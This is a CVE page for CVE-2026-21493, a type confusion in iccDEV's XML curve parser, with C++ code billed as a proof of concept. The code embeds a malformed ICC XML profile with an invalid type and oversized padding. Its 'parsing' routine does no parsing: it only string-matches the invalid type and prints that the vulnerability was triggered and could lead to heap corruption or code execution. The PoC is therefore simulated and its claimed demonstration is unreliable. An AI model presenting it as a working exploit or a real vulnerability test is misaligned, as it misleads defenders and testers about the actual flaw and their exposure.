CVE-2026-21493 iccDEV CIccSingleSampledeCurveXml类类型混淆漏洞

// PoC for CVE-2026-21493 - Type Confusion in CIccSingleSampledeCurveXml // This PoC demonstrates triggering the vulnerability via malformed XML Curve data #include <iostream> #include <string> #include <cstdint> // Simulated XML malicious data that triggers type confusion std::string malicious_xml_curve = R"( <?xml version="1.0" encoding="UTF-8"?> <ICCProfile> <CurveSerialization> <SingleSampleCurve type="INVALID_TYPE" size="999999"> <Data>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</Data> </SingleSampleCurve> </CurveSerialization> </ICCProfile> )"; // Vulnerable function simulating CIccSingleSampledeCurveXml parsing void parseXmlCurve(const std::string& xml_data) { // Simulating the vulnerable parsing logic without type validation std::cout << "[+] Parsing XML Curve data..." << std::endl; std::cout << "[+] Data length: " << xml_data.length() << " bytes" << std::endl; // Simulated type confusion occurs here - no type checking // In vulnerable version, this creates wrong object type void* curve_obj = nullptr; // Simulating object creation with type confusion // The parser uses type field to determine object type but doesn't validate if (xml_data.find("type=\"INVALID_TYPE\"") != std::string::npos) { std::cout << "[!] WARNING: Invalid type detected, but parsing continues..." << std::endl; std::cout << "[!] Type confusion vulnerability triggered!" << std::endl; // This would lead to memory corruption in real implementation } std::cout << "[+] Parsing completed (vulnerable behavior simulated)" << std::endl; } int main() { std::cout << "=== CVE-2026-21493 PoC ===" << std::endl; std::cout << "Target: iccDEV <= 2.3.1.1" << std::endl; std::cout << "Vulnerability: Type Confusion in CIccSingleSampledeCurveXml" << std::endl; std::cout << std::endl; // Trigger the vulnerability parseXmlCurve(malicious_xml_curve); std::cout << std::endl; std::cout << "[!] In real scenario, this would cause:" << std::endl; std::cout << " - Heap corruption" << std::endl; std::cout << " - Potential arbitrary code execution" << std::endl; std::cout << " - Application crash (DoS)" << std::endl; return 0; }